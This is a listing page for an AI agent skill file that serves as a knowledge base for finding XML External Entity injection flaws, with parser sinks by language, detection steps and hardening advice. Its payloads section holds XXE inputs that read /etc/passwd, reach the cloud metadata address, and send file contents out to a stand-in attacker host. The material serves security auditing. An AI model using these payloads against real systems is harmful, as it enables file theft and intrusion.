Sh Kb Xxe logo

Sh Kb Xxe

Community
dmdhrumilmistry
sh-kb-xxe

Knowledge base for finding XML External Entity injection - XML parsers configured to resolve external/general entities on untrusted input, enabling file read, SSRF, and DoS. Use when hunting XXE. CWE-611/776/827, OWASP A05:2021-Security Misconfiguration.

Overview

Publisherdmdhrumilmistry
Repositorysecurity-harness
Skill namesh-kb-xxe
Stars
42
Forks
11
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by dmdhrumilmistry on GitHub. Read the source before you install it.

Installation

Install the Sh Kb Xxe AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/dmdhrumilmistry/security-harness/tree/main/plugins/security-harness/skills/sh-kb-xxe
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/dmdhrumilmistry/security-harness.git /tmp/security-harness
mkdir -p .claude/skills
cp -r /tmp/security-harness/plugins/security-harness/skills/sh-kb-xxe .claude/skills/sh-kb-xxe
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Sh Kb Xxe in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Sh Kb Xxe on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Sh Kb Xxe is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

XML External Entity (XXE) - Hunter Knowledge Base

An XML parser that resolves external entities processes attacker-supplied XML, letting a DTD declare entities that read local files, make server-side requests (SSRF), or exhaust resources (billion laughs).

When to hunt this

Any endpoint that parses XML from users: SOAP, XML APIs, SVG/DOCX/XLSX/SVG uploads (zip-of-XML), SAML responses, RSS/Atom import, XML config upload, Content-Type: application/xml or text/xml handlers.

Sinks by ecosystem (grep targets)

  • Java: DocumentBuilderFactory, SAXParserFactory, XMLInputFactory, TransformerFactory, SAXReader, Unmarshaller, XMLReader - vulnerable unless external entities/DTDs are disabled.
  • Python: xml.etree.ElementTree (older), lxml.etree with resolve_entities=True/custom resolver, xml.dom.minidom, xml.sax - defusedxml is the safe replacement.
  • PHP: simplexml_load_string/DOMDocument->loadXML with LIBXML_NOENT/LIBXML_DTDLOAD.
  • .NET: XmlDocument/XmlTextReader with DtdProcessing=Parse and a non-null XmlResolver.
  • Node: libxmljs with noent:true, some SOAP/xml2js configs.

Detection recipe

  1. graft grep "DocumentBuilderFactory|SAXParser|XMLInputFactory|loadXML|simplexml_load|lxml.etree|XmlReader|DtdProcessing" --json.
  2. Confirm the parser reads untrusted XML.
  3. Check whether external entities / DTDs are disabled (see filters). If defaults are left on (many parsers resolve entities by default), flag.

Payloads / PoC

  • File read: a DOCTYPE with <!ENTITY xxe SYSTEM "file:///etc/passwd"> then reference &xxe; in an element.
  • SSRF: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">.
  • Blind/OOB (parser suppresses output): external DTD hosted by attacker exfiltrating via a parameter entity to http://attacker/?%file;.
  • Billion laughs DoS: nested entity expansion.
  • SVG/Office upload: embed the DOCTYPE inside the XML part of an uploaded SVG/DOCX.
  • XInclude (no DOCTYPE needed): when the app rejects/strips a DOCTYPE but drops attacker XML into an existing document's body (not the whole document), a DOCTYPE declaration isn't possible - instead use xi:include if the parser has XInclude enabled: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. This bypasses DOCTYPE-based filters entirely, so "no <!DOCTYPE" is not itself a false-positive signal - check whether XInclude is also disabled (setXIncludeAware(false) in Java, or equivalent).

False-positive filters

  • Parser hardened: disallow-doctype-decl true, external-general-entities/external-parameter-entities false, XMLResolver=null, resolve_entities=False, using defusedxml, LIBXML_NONET and DTD loading off, .NET DtdProcessing.Prohibit.
  • Java specifically: hardening must also set setXIncludeAware(false) and ACCESS_EXTERNAL_DTD/ ACCESS_EXTERNAL_SCHEMA to "" (JAXP 1.5+) - disallow-doctype-decl alone still leaves XInclude and external-schema resolution reachable. For SAX/StAX, confirm the hardened factory/property is applied to every reader instance the factory creates, not just the factory object itself.
  • .NET 4.5.2+ defaults (XmlReader, XDocument) are safe out of the box; only flag older TFMs or explicit XmlTextReader/XmlDocument use without the settings above. PHP 8.0+ disables external entities by default; only flag PHP <8.0 without libxml_set_external_entity_loader(null)/LIBXML_NOENT off.
  • Input is JSON, not XML; or XML comes only from a trusted internal source.

CWE / OWASP / severity

CWE-611 (XXE), CWE-776 (entity expansion), CWE-827. OWASP A05:2021. File read of secrets or SSRF to metadata -> high/critical; DoS-only -> medium.

Chaining hints

XXE file read -> secrets (config/keys) -> further access; XXE -> ssrf -> cloud metadata/internal; present in SAML flows -> auth bypass.

Mitigation

Disable DTDs and external entity resolution on every XML parser handling untrusted input (use the hardened factory settings above or a safe library like defusedxml); also disable XInclude (setXIncludeAware(false)) since it is a separate feature from DTD/entity processing and is not covered by disallow-doctype-decl; prefer JSON where possible; validate uploads that are XML-backed (SVG/Office) with the same hardening.

Frequently asked questions

What does the Sh Kb Xxe AI skill do?

Knowledge base for finding XML External Entity injection - XML parsers configured to resolve external/general entities on untrusted input, enabling file read, SSRF, and DoS. Use when hunting XXE. CWE-611/776/827, OWASP A05:2021-Security Misconfiguration.

Why use Sh Kb Xxe on TypingMind?

Because you install it once and use it with any model. Sh Kb Xxe is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Sh Kb Xxe in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/dmdhrumilmistry/security-harness/tree/main/plugins/security-harness/skills/sh-kb-xxe. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Sh Kb Xxe?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Sh Kb Xxe?

As many as you like. As long as a model supports skills, you can use Sh Kb Xxe with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Sh Kb Xxe AI skill free?

Yes. It is published on GitHub by dmdhrumilmistry under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇